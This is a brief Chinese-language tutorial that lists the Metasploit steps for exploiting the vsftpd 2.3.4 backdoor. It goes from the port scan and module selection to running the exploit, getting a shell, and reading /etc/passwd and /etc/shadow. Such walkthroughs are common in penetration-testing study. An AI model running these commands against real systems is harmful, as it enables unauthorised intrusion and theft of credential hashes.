漏洞利用之Metasploit使用过程

漏洞利用之Metasploit使用过程

先扫描端口，看开放的服务，如开放ftp，版本是vsftpd 2.3.4；
使用search搜索vsftp查看是否在相应的漏洞利用exploit，输入search vsftp；
use exploit/unix/ftp/vsftpd_234_backdoor，选择exploit（tab键补齐）；
设置参数show options;
set payload cmd/unix/interact选择payload（tab键补齐）；
设置参数show options;
执行攻击测试，输入exploit即可，如果成功，将返回一个shell（绿色标志一般攻击有效）；
即可执行命令，id，whoami，ifconfig，cat /etc/passwd,cat /etc/shadow等等。